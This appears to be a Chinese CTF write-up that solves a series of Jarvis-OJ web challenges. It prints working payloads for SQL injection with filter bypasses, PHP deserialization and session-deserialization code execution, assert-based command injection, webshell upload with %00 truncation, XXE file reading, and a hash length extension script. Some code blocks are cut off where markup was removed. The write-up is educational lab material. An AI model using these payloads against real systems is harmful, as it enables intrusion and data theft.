Jarvis-OJ WEB 多题writeup

PORT51(curl)

LOCALHOST(伪造ip)

Login(SQL注入)

神盾局的秘密(base64编码+反序列化)

IN A Mess(代码审计+过滤空格SQL注入)

admin(robots.txt+cookie欺骗)

[61dctf]babyphp(Git泄露+代码注入)

Easy Gallery(文件上传、%00截断)

Simple Injection(过滤空格SQL注入)

RE? (mysql的UDF用户自定义函数)

flag在管理员手里(Hash长度扩展攻击)

api调用(XXE漏洞)

PHPINFO(SESSION反序列化)


PORT51(curl)

题目链接:http://web.jarvisoj.com:32770/

本地的51号端口访问服务器,需要用到curl.

windows下curl下载地址:https://curl.haxx.se/download.html

curl --local-port 51 http://web.jarvisoj.com:32770/

Jarvis-OJ WEB 多题writeup_第1张图片

curl的介绍和一些常见用法:https://blog.csdn.net/liitdar/article/details/80684730


LOCALHOST(伪造ip)

题目入口:http://web.jarvisoj.com:32774/

火狐插件X-Forwarded-For Header伪装成127.0.0.1


Login(SQL注入)

题目链接:http://web.jarvisoj.com:32772/

尝试了几个密码都显示Wrong Password.

只得抓包,发现响应头中有hint.

Jarvis-OJ WEB 多题writeup_第2张图片

这里使用了md5加密,

ffifdyop经过md5($password,true)过后恰好结果是'or'6�]��!r,��b,即最后组成的sql语句是:

$sql="select * from admin where password=''or''"

所以直接输入ffifdyop即可得到flag.

这道题告诉我们,md5使用的时候一定要加盐!

 

类似题目: 

题目入口:http://lab1.xseclab.com/code1_9f44bab1964d2f959cf509763980e156/ 

题目来源:hacking lab inject 09~ 

看到源代码password=’”.md5($_GET['pwd'], true),就知道这道题和题目3的解法是一致的。 

http://lab1.xseclab.com/code1_9f44bab1964d2f959cf509763980e156/?userid=1&pwd=ffifdyop


神盾局的秘密(base64编码+反序列化)

题目入口:http://web.jarvisoj.com:32768/

查看页面源代码:

Jarvis-OJ WEB 多题writeup_第3张图片

发现图片名经过base64加密,解密后得到文件名:

Jarvis-OJ WEB 多题writeup_第4张图片

 尝试访问index.php的页面源代码,先给index.php base64加密:

Jarvis-OJ WEB 多题writeup_第5张图片

访问后发现有个shield.php:

Jarvis-OJ WEB 多题writeup_第6张图片

shield.php中发现一句话:

flag is in pctf.php

Jarvis-OJ WEB 多题writeup_第7张图片

访问了pctf.php却没有flag:

Jarvis-OJ WEB 多题writeup_第8张图片

最后再看看showimg.php的内容:

Jarvis-OJ WEB 多题writeup_第9张图片

综合分析,题目过滤了".."、"/"、"\\","pctf"

通过审计代码,这里是利用自己写shield.php中的Shield类反序列化字符串,然后利用index.php反序列把这个类实例,并将该类的filename指为pctf.php.

所以我们要将实例进行序列化,最后在index.php提交序列化后的内容.

 file = $filename;
        }
}
$str = new Shield();
echo serialize($str);
?>

Jarvis-OJ WEB 多题writeup_第10张图片

最终payload:

view-source:http://web.jarvisoj.com:32768/index.php?class=O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}

Jarvis-OJ WEB 多题writeup_第11张图片


IN A Mess(代码审计+过滤空格SQL注入)

题目入口:http://web.jarvisoj.com:32780/

查看页面源代码:

访问index.phps,发现只有后面一半代码:

Jarvis-OJ WEB 多题writeup_第12张图片

查看页面源代码,发现完整代码:

";

if(!$_GET['id'])
{
	header('Location: index.php?id=1');
	exit();
}

$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
	echo 'Hahahahahaha';
	return ;
}

$data = @file_get_contents($a,'r');
if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
	require("flag.txt");
}
else
{
	print "work harder!harder!harder!";
}
?>

Payload:

http://web.jarvisoj.com:32780/index.php?id=a&b=%00111223&a=php://input
[POST]"1112 is a nice lab!"

Jarvis-OJ WEB 多题writeup_第13张图片

得到下一关的地址:

http://web.jarvisoj.com:32780/%5EHT2mCpcvOLf/index.php?id=1

Jarvis-OJ WEB 多题writeup_第14张图片

接下来是SQL注入:

尝试进行注入,发现此时,简单过滤了空格,利用/*666*/绕过,且去除敏感字符

于是有:?id=1/*666*/and/*666*/1/*666*/=/*666*/1显示正常

Jarvis-OJ WEB 多题writeup_第15张图片

?id=1/*666*/and/*666*/1/*666*/=/*666*/2 显示错误,存在注入 

Jarvis-OJ WEB 多题writeup_第16张图片

?id=1/*666*/order/*666*/by/*666*/1 显示正常

?id=1/*666*/order/*666*/by/*666*/2 显示正常

?id=1/*666*/order/*666*/by/*666*/3 显示正常

Jarvis-OJ WEB 多题writeup_第17张图片

?id=1/*666*/order/*666*/by/*666*/4 显示错误,字段数为3

Jarvis-OJ WEB 多题writeup_第18张图片

爆库:

?id=-1/*6*/uniunionon/*6*/seselectlect/*6*/1,2,(database())%23

Jarvis-OJ WEB 多题writeup_第19张图片

得到数据库名test

爆表名:

?id=-1/*6*/uniunionon/*6*/seselectlect/*6*/1,2,(selselectect/*6*/group_concat(column_name)/*6*/frofromm/*6*/information_schema.columns/*6*/where/*6*/table_name=0x636f6e74656e74)%23

Jarvis-OJ WEB 多题writeup_第20张图片

得到列名:context

读取内容:

?id=-1/*6*/uniunionon/*6*/seselectlect/*6*/1,2,(selselectect/*6*/context/*6*/frofromm/*6*/content)%23

 Jarvis-OJ WEB 多题writeup_第21张图片


admin(robots.txt+cookie欺骗)

题目入口:http://web.jarvisoj.com:32792/

扫一下目录,发现有个robots.txt

Jarvis-OJ WEB 多题writeup_第22张图片

访问该文件

Jarvis-OJ WEB 多题writeup_第23张图片

答案会这么简单吗?不会!

Jarvis-OJ WEB 多题writeup_第24张图片

只要在cookie中把admin的值由0改为1即可.

Jarvis-OJ WEB 多题writeup_第25张图片

这样就得到flag了.


[61dctf]babyphp(Git泄露+代码注入)

题目入口:http://web.jarvisoj.com:32798/

在about下发现了提示,怀疑存在git泄露

Jarvis-OJ WEB 多题writeup_第26张图片

用GitHack脚本获取

python GitHack.py http://web.jarvisoj.com:32798/.git/

Jarvis-OJ WEB 多题writeup_第27张图片

浏览了下,templates目录里面没什么有用信息,

有个flag.php还是空的,但是估计题目就是要获取题目服务器上的flag.php内容,

最主要的地方是index.php的php代码部分.

它使用了assert这个可以代码执行的函数,后面的file_exists()可以不用管,从strpos入手,因为内容可控,所有可以拼接

自己本地模拟下,发现php能够用 and 和 | 来执行多条命令,使用 . 作为连接符。

注入思路:

整体上可以注释掉’, ‘..’) === false,或者不注释,只在中间插入。另外要注意闭合单引号和括号。

查看目录下文件:

http://web.jarvisoj.com:32798/?page=flag'.system("ls templates/;").' 

当时我想的是能否直接用这样的payload实现查看源代码呢?

Payload:

http://web.jarvisoj.com:32798/?page=flag'.system("cat templates/flag.php;").' 

发现页面没有显示内容,但其实就在页面源码里:

Jarvis-OJ WEB 多题writeup_第28张图片

By The Way:

代入:

 . 连接符 ,?page=flag’.system(“ls”).’ 代入后得到

assert(“strpos(‘flag’.system(“ls”).”, ‘..’) === false”) or die(“Detected hacking attempt!”); 

执行过程:

字符串flag和system(“ls”)和空字符”拼接后,作为strpos()的第一个参数。

重点是system()函数是会直接把结果输出的,不用echo,也可以输出,所以system(“ls”)就直接把目录输出了。

如何注释掉后面的语句:

?page=’,’88’)===false and system(“cat templates/flag.php”);//

php代码注入总结:

连接自己的命令 :;and | . ,

system(“xxx”) 中命令使用双引号

闭合引号:

php中单引号不解释变量,双引号解释,一般都是单引号


Easy Gallery(文件上传、%00截断)

题目入口:http://web.jarvisoj.com:32785/

看到upload页面,猜想应该是上传题目.

Jarvis-OJ WEB 多题writeup_第29张图片

随便改个参数,报错warning.

Jarvis-OJ WEB 多题writeup_第30张图片

可看出是用fopen进行文件包含的,这里能够%00截断,但是不能访问index.php.

尝试修改文件名和改Content-Type,都没能成功.

Jarvis-OJ WEB 多题writeup_第31张图片

重点来了!!!

那么思路是把代码插入到图片中,然后包含这个图片,并利用%00截断,截取后面的.php,这里不能直接传以jpg格式结尾的php代码,估计它检查了头部,所以要将代码插入图片中.

抓包,在图片文件最后加上一句话木马

并不能成功,后来看了别人的writeup才知道可能后台代码,这也是为什么index.php不能包含进去的原因.

Jarvis-OJ WEB 多题writeup_第32张图片

猜想访问图片的方式为:

http://web.jarvisoj.com:32785/index.php?page=uploads/1555763227.jpg

访问后得到回显:

Jarvis-OJ WEB 多题writeup_第33张图片

注意文件名后面有个.php,于是想到了%00截断

访问:

http://web.jarvisoj.com:32785/index.php?page=uploads/1555763227.jpg%00

Jarvis-OJ WEB 多题writeup_第34张图片

得到flag。

Besides:

通过view进行查看图片,然后查看源码获取图片的位置:

http://web.jarvisoj.com:32785/show.php?id=1555763227&type=jpg


Simple Injection(过滤空格SQL注入)

题目入口:http://web.jarvisoj.com:32787/

Jarvis-OJ WEB 多题writeup_第35张图片

burp抓包并保存为1.txt:

Jarvis-OJ WEB 多题writeup_第36张图片

根据是用户名错误还是密码错误来进行判断。可得知过滤了空格,and,or。

这里用sqlmap的一个space2comment脚本跑。

Payload:

sqlmap.py -r 1.txt --technique T --level 3 --tamper=space2comment -D injection -T admin --dump

Jarvis-OJ WEB 多题writeup_第37张图片

password经md5解密:

eTAloCrEP

登陆后显示flag:

Jarvis-OJ WEB 多题writeup_第38张图片


RE? (mysql的UDF用户自定义函数)

题目地址:udf.so.02f8981200697e5eeb661e64797fc172

搜了一下题解,这道题大概思路是:

下载下来后文件名为udf.so.XXXXX,用mysql导入一下。

所以这道题就是让我们在本地导入udf,然后调用函数看结果。

奈何在windows下的MySQL或MariaDB尝试会报错:

ERROR 1126 (HY000): Can't open shared library 'udf.so.02f8981200697e5eeb661e64797fc172' (errno: 2, )

原因:

udf是mysql自定义函数包,

udf.so用于linux系统,udf.dll用于windows系统。

解决方法:

  1. 在linux下装mysql
  2. docker直接pull mysql镜像

解题方法一:Linux

cd /usr/lib64/mysql/plugin
wget https://dn.jarvisoj.com/challengefiles/udf.so.02f8981200697e5eeb661e64797fc172

登陆MySQL或MariaDB后:

create function help_me returns string soname 'udf.so.02f8981200697e5eeb661e64797fc172';
select help_me();
create function getflag returns string soname 'udf.so.02f8981200697e5eeb661e64797fc172';
select getflag();

Jarvis-OJ WEB 多题writeup_第39张图片

解题方法二:Docker

>docker search mysql
Error response from daemon: Get https://index.docker.io/v1/search?q=mysql&n=25: dial tcp: lookup index.docker.io on 192.168.65.1:53: read udp 192.168.65.3:43547->192.168.65.1:53: i/o timeout
#重启解决(没有什么是重启解决不了的,如果有,就重装)
> docker pull mysql
> docker run -p 3306:3306 --name ctf-mysql -v D:\security\docker:/tmp  -e LANG=C.UTF-8 -e MYSQL_ROOT_PASSWORD=123456 -d  mysql 
>docker exec -it ctf-mysql bash
root@72c3316058c9:/# mysql -u root -p
mysql> select @@plugin_dir; 
root@72c3316058c9:/# cp ./udf.so.02f8981200697e5eeb661e64797fc172 /usr/lib/mysql/plugin/udf.so
mysql> create function help_me returns string soname 'udf.so';
Query OK, 0 rows affected (0.04 sec)
mysql> select help_me();
use getflag function to obtain your flag!!
mysql> create function getflag returns string soname 'udf.so';
Query OK, 0 rows affected (0.05 sec)
mysql> select getflag();
PCTF{Interesting_U5er_d3fined_Function}

即可得到flag。


flag在管理员手里(Hash长度扩展攻击)

题目链接:http://web.jarvisoj.com:32778/

上去先抓包,发现会设置一个md5和你的身份guest。

题目的意思应该是将guest改为admin。

Jarvis-OJ WEB 多题writeup_第40张图片

大概是哈希长度拓展攻击。

估计要找源码了,常见的备份文件 .bak .swp .swo 还有 ~

用源码泄露工具扫描一下:

Usage :
        python SourceLeakHackerForLinux.py [URL]
Example :
        python SourceLeakHackerForLinux.py http://www.baidu.com/
Tips :
        Your URL should must starts with "http://" or "https://"

Jarvis-OJ WEB 多题writeup_第41张图片

打开这个链接可以下载一个文件index.php~,这个是php的备份恢复文件,拿到 linux下,重命名为index.php.swp,使用命令vim -r index.php 即可恢复原来的php文件,得到源码:

Welcome Admin. Your flag is
    } else {
        echo "

Only Admin can see the flag!!

"; } ?>

如何知道 $salt 的长度呢,可以选择kali中的hashpump 或者 hash_extender工具爆破……

解题方法一:hash_extender工具

安装hash_extender步骤:

git clone https://github.com/iagox86/hash_extender  
cd hash_extender  
make

还需要一个python脚本,来自:

https://skysec.top/2017/08/16/jarvisoj-web/#flag%E5%9C%A8%E7%AE%A1%E7%90%86%E5%91%98%E6%89%8B%E9%87%8C

# -*- coding:utf-8 -*-
from urlparse import urlparse
from httplib import HTTPConnection
from urllib import urlencode
import json
import time
import os
import urllib

def gao(x, y):
        #print x
        #print y
    url = "http://web.jarvisoj.com:32778/index.php"
    cookie = "role=" + x + "; hsh=" + y
        #print cookie
    build_header = {
            'Cookie': cookie,
            'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:44.0) Gecko/20100101 Firefox/44.0',
            'Host': 'web.jarvisoj.com:32778',
            'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    }
    urlparts = urlparse(url)
    conn = HTTPConnection(urlparts.hostname, urlparts.port or 80)
    conn.request("GET", urlparts.path, '', build_header)
    resp = conn.getresponse()
    body = resp.read()
    return body

for i in xrange(1000):
    print i
    #secret len = ???
    find_hash = "./hash_extender -d ';\"tseug\":5:s' -s 3a4727d57463f122833d9e732f94e4e0 -f md5  -a ';\"nimda\":5:s' --out-data-format=html -l " + str(i) + " --quiet"
    #print find_hash
    calc_res = os.popen(find_hash).readlines()
    hash_value = calc_res[0][:32]
    attack_padding = calc_res[0][32:]
    attack_padding = urllib.quote(urllib.unquote(attack_padding)[::-1])
    ret = gao(attack_padding, hash_value)
    if "Welcome" in ret:
        print ret
        break

可见盐的长度是12……且得到回显:




Web 350



       

Welcome Admin. Your flag is PCTF{H45h_ext3ndeR_i5_easy_to_us3}

解题方法二:HashPump

先在centos或者kali下安装HashPump:

git clone https://github.com/bwall/HashPump
#yum install g++ libssl-dev #centos
apt-get install g++ libssl-dev #kali
cd HashPump
make
make install

 使用方法:

Input Signature 为COOKIES中hsh的值
Input Data 为用户名
Input Key Length 为长度
Input Data to Add 为密码(自定义,除了admin)

Jarvis-OJ WEB 多题writeup_第42张图片

把内容中值反转一下,把\x替换为%:

s:5:"admin"%3b%00%00%00%00%00%00%00%c0%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80s:5:"guest"%3b

fcdc3840332555511c4e4323f6decb07

将其输入到cookie对应的参数中,获得flag,注意下序列化的 ";" 在cookie中需要编码成 %3b

Jarvis-OJ WEB 多题writeup_第43张图片

那么这里为什么能够添加了这么多内容,还能满足源码中如下的判定条件呢:

$role == ‘admin‘

因为这道题巧在利用了unserialize来进行反序列化,它会把序列化格式 ;之后的内容丢弃

也就是 s:5:"admin"; xxxxx (xxxx全被丢弃了)

如果不是被反序列化了,这样这道题不能满足$role == ‘admin‘条件了

同类题目(shiyanbar):

http://ctf5.shiyanbar.com/web/kzhan.php


api调用(XXE漏洞)

请设法获得目标机器/home/ctf/flag.txt中的flag值。

题目入口:http://web.jarvisoj.com:9882/

抓包传的json:

Jarvis-OJ WEB 多题writeup_第44张图片

利用了ajax,这里把传的json改成xml,并利用xxe读取flag

先把头中的Content-Type改为application/xml

下面利用xxe

Jarvis-OJ WEB 多题writeup_第45张图片

得到flag。

关于XXE漏洞的两篇文章:

https://security.tencent.com/index.php/blog/msg/69

https://www.freebuf.com/articles/web/126788.html


PHPINFO(SESSION反序列化)

题目入口:http://web.jarvisoj.com:32784/

mdzz = 'phpinfo();';
    }
    
    function __destruct()
    {
        eval($this->mdzz);
    }
}
if(isset($_GET['phpinfo']))
{
    $m = new OowoO();
}
else
{
    highlight_string(file_get_contents('index.php'));
}
?>

本题的突破点在于:

ini_set('session.serialize_handler', 'php');

 

当get传入phpinfo时会实例化OowoO这个类并访问phpinfo()。

Jarvis-OJ WEB 多题writeup_第46张图片

 

通过phpinfo页面,我们知道php.ini中默认session.serialize_handler为php_serialize,而index.php中将其设置为php。

这就导致了seesion的反序列化问题。

由phpinfo()页面继续可知,session.upload_progress.enabled为On。

 

因此当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,

当php检测到这种POST请求时,它会在$_SESSION中添加一组数据。

所以可以通过Session Upload Progress来设置session。

Jarvis-OJ WEB 多题writeup_第47张图片

但是,这时就有一个问题,在题目代码中,没有某个值是用来接受我们传入的数据,并储存到$_SESSION中的。

其实我们是有办法传入$_SESSION数据的,这里就利用到了|的反序列化问题。

思路很明显了,我们需要构造一个上传和post同时进行的情况,代码如下:




	test
	


	

 

再考虑序列化:

得到下面结果:

O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";}

为防止转义,在引号前加上\利用前面的html页面随便上传一个东西,抓包,把filename改为如下:

|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}

注意,前面还有一个|,这是session的格式。

Jarvis-OJ WEB 多题writeup_第48张图片

 

通过phpinfo页面查看当前路径_SERVER["SCRIPT_FILENAME"]

进一步更改,可获得flag

|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:88:\"print_r(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));\";}

Jarvis-OJ WEB 多题writeup_第49张图片

得到flag。

你可能感兴趣的:(SQL,Inject,Code,Audit,Command,Execute,CTF)